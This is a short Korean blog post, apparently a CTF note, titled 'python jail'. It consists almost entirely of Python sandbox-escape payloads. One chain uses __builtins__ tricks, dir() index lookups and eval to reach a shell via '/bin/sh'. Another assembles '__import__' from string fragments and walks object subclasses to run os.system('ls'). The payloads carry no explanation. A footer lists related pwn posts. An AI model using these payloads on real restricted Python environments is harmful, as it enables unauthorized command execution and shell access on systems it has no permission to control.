python jail
2018. 6. 21. 14:33
"A""B" == "A"+"B"
setattr(__builtins__,"delattr",dir(__builtins__)[90])
setattr(__builtins__,"s",eval(delattr)(__import__("re"),dir(__import__("re"))[48]))
eval(delattr)(__import__(str(eval(delattr)(s,"modules"))[2648:2650]),dir(__import__(str(eval(delattr)(s,"modules"))[2648:2650]))[215])("/bin/sh")
' ' == '\t'
res = list()
res.append(dir(globals())[0][0])
res.append(dir(globals())[0][0])
res.append('impo')
res.append('rt')
res.append(dir(globals())[0][0])
res.append(dir(globals())[0][0])
globals().__class__.__base__.__subclasses__()[59]()._module.__builtins__[''.join(res)]('os').system('ls')
'Hacking > Pwn.' 카테고리의 다른 글
FSB 공격시 유용한 것들 (0) | 2018.07.27 |
---|---|
LoB에서 bash2 명령을 사용하는 이유 (0) | 2018.07.13 |
Shell Escaping tips (0) | 2018.04.17 |
64bit calling convention (0) | 2018.04.16 |
gcc 컴파일러 유용한 옵션 (0) | 2018.04.13 |